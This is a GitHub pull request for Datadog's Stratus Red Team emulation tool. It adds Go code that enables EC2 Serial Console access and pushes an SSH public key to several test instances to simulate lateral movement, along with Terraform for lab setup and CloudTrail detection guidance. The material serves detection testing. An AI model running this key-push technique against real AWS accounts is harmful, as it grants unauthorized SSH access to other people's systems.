Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New attack technique: Usage of SendSerialConsoleSSHPublicKey on multiple instances #599

Merged
Next Next commit
add ec2-send-serial-console-ssh-public-key technique
  • Loading branch information
adanalvarez committed Nov 23, 2024
commit 59795ee36c043714f3c1bd024f605fb5f83c5f75
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
package aws

import (
"context"
_ "embed"
"fmt"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"log"
"time"
"strings"
)

//go:embed my_key.pub
var publicSSHKey string

//go:embed main.tf
var tf []byte

func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.lateral-movement.ec2-serial-console-connect",
FriendlyName: "Usage of EC2 Serial Console to push SSH public key",
IsSlow: true,
Description: `
Simulates an attacker pushing an SSH public key to multiple EC2 instances through the EC2 Serial Console API. This allows anyone
with the corresponding private key to connect directly to the systems via SSH.

Warm-up:

- Create multiple EC2 instances and a VPC (takes a few minutes).

Detonation:

- Adds a public SSH key to the EC2 instances using the Serial Console API for 60 seconds.

References:

- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
- https://fwdcloudsec.org/assets/presentations/2024/europe/sebastian-walla-cloud-conscious-tactics-techniques-and-procedures-an-overview.pdf
- https://unit42.paloaltonetworks.com/cloud-lateral-movement-techniques/
- https://unit42.paloaltonetworks.com/cloud-virtual-machine-attack-vectors/
`,
Detection: `
Identify, through CloudTrail's <code>SendSerialConsoleSSHPublicKey</code> event, when a user is adding an SSH key to EC2 instances. Sample event:

` + codeBlock + `
{
"eventSource": "ec2-instance-connect.amazonaws.com",
"eventName": "SendSerialConsoleSSHPublicKey",
"requestParameters": {
"instanceId": "i-123456",
"serialConsoleOSUser": "ec2-user",
"sSHPublicKey": "ssh-ed25519 ..."
}
}
` + codeBlock + `
`,
Platform: stratus.AWS,
PrerequisitesTerraformCode: tf,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.LateralMovement},
Detonate: detonate,
})
}

func detonate(params map[string]string, providers stratus.CloudProviders) error {
ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection())
ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection())
instanceIDs := strings.Split(params["instance_ids"], ",")

// Enable EC2 Serial Console access for the account
_, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{})
if err != nil {
return fmt.Errorf("failed to enable EC2 Serial Console access: %v", err)
}
log.Println("EC2 Serial Console access enabled for the account")

// Ensure that Serial Console access is disabled at the end
defer func() {
_, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{})
if err != nil {
log.Printf("Failed to disable EC2 Serial Console access: %v", err)
} else {
log.Println("EC2 Serial Console access disabled for the account")
}
}()

for _, instanceID := range instanceIDs {
cleanInstanceID := strings.Trim(instanceID, " \"\n\r")
err := sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey)
if err != nil {
if strings.Contains(err.Error(), "SerialConsoleSessionLimitExceededException") {
log.Printf("Serial console session limit exceeded for instance %s. Retrying after waiting 60s...", cleanInstanceID)
time.Sleep(60 * time.Second)
err = sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey)
}
if err != nil {
return fmt.Errorf("failed to send SSH public key via serial console to instance %s: %v", cleanInstanceID, err)
}
}

log.Printf("SSH public key successfully added to instance %s via serial console", cleanInstanceID)
}

return nil
}

func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId, sshPublicKey string) error {
_, err := ec2instanceconnectClient.SendSerialConsoleSSHPublicKey(context.Background(), &ec2instanceconnect.SendSerialConsoleSSHPublicKeyInput{
InstanceId: &instanceId,
SSHPublicKey: &sshPublicKey,
})

return err
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "~> 4.0"
}
}
}

provider "aws" {
skip_region_validation = true
skip_credentials_validation = true
default_tags {
tags = {
StratusRedTeam = true
}
}
}

locals {
resource_prefix = "stratus-red-team-ec2-serialconsole-ssh-lateral-movement"
}

variable "instance_count" {
description = "Number of instances to create"
default = 3
}

data "aws_availability_zones" "available" {
state = "available"
}

module "vpc" {
source = "terraform-aws-modules/vpc/aws"
version = "~> 3.0"

name = "${local.resource_prefix}-vpc"
cidr = "10.0.0.0/16"

azs = [data.aws_availability_zones.available.names[0]]
private_subnets = ["10.0.1.0/24"]
public_subnets = ["10.0.128.0/24"]

map_public_ip_on_launch = false
enable_nat_gateway = true

tags = {
StratusRedTeam = true
}
}

data "aws_ami" "amazon-2" {
most_recent = true

filter {
name = "name"
values = ["amzn2-ami-hvm-*-x86_64-ebs"]
}
owners = ["amazon"]
}

resource "aws_network_interface" "iface" {
count = var.instance_count
subnet_id = module.vpc.private_subnets[0]

private_ips = [format("10.0.1.%d", count.index + 10)]
}

resource "aws_iam_role" "instance-role" {
name = "${local.resource_prefix}-role"
path = "/"

assume_role_policy = <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Effect": "Allow",
"Sid": ""
}
]
}
EOF
}

resource "aws_iam_role_policy_attachment" "rolepolicy" {
role = aws_iam_role.instance-role.name
policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
}

resource "aws_iam_instance_profile" "instance" {
name = "${local.resource_prefix}-instance"
role = aws_iam_role.instance-role.name
}

resource "aws_instance" "instance" {
count = var.instance_count
ami = data.aws_ami.amazon-2.id
instance_type = "t3.micro"
iam_instance_profile = aws_iam_instance_profile.instance.name

network_interface {
device_index = 0
network_interface_id = aws_network_interface.iface[count.index].id
}

tags = {
Name = "${local.resource_prefix}-instance-${count.index}"
}
}

output "instance_ids" {
value = aws_instance.instance[*].id
}

output "display" {
value = format("Instances ready: \n%s", join("\n", [
for i in aws_instance.instance :
format(" %s in %s", i.id, data.aws_availability_zones.available.names[0])
]))
}

output "instance_role_name" {
value = aws_iam_role.instance-role.name
}
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/impact/s3-ransomware-individual-deletion"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/initial-access/console-login-without-mfa"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-ssh-public-key"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-ssh-public-key"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-role"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-backdoor-user"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/aws/persistence/iam-create-admin-user"
Expand Down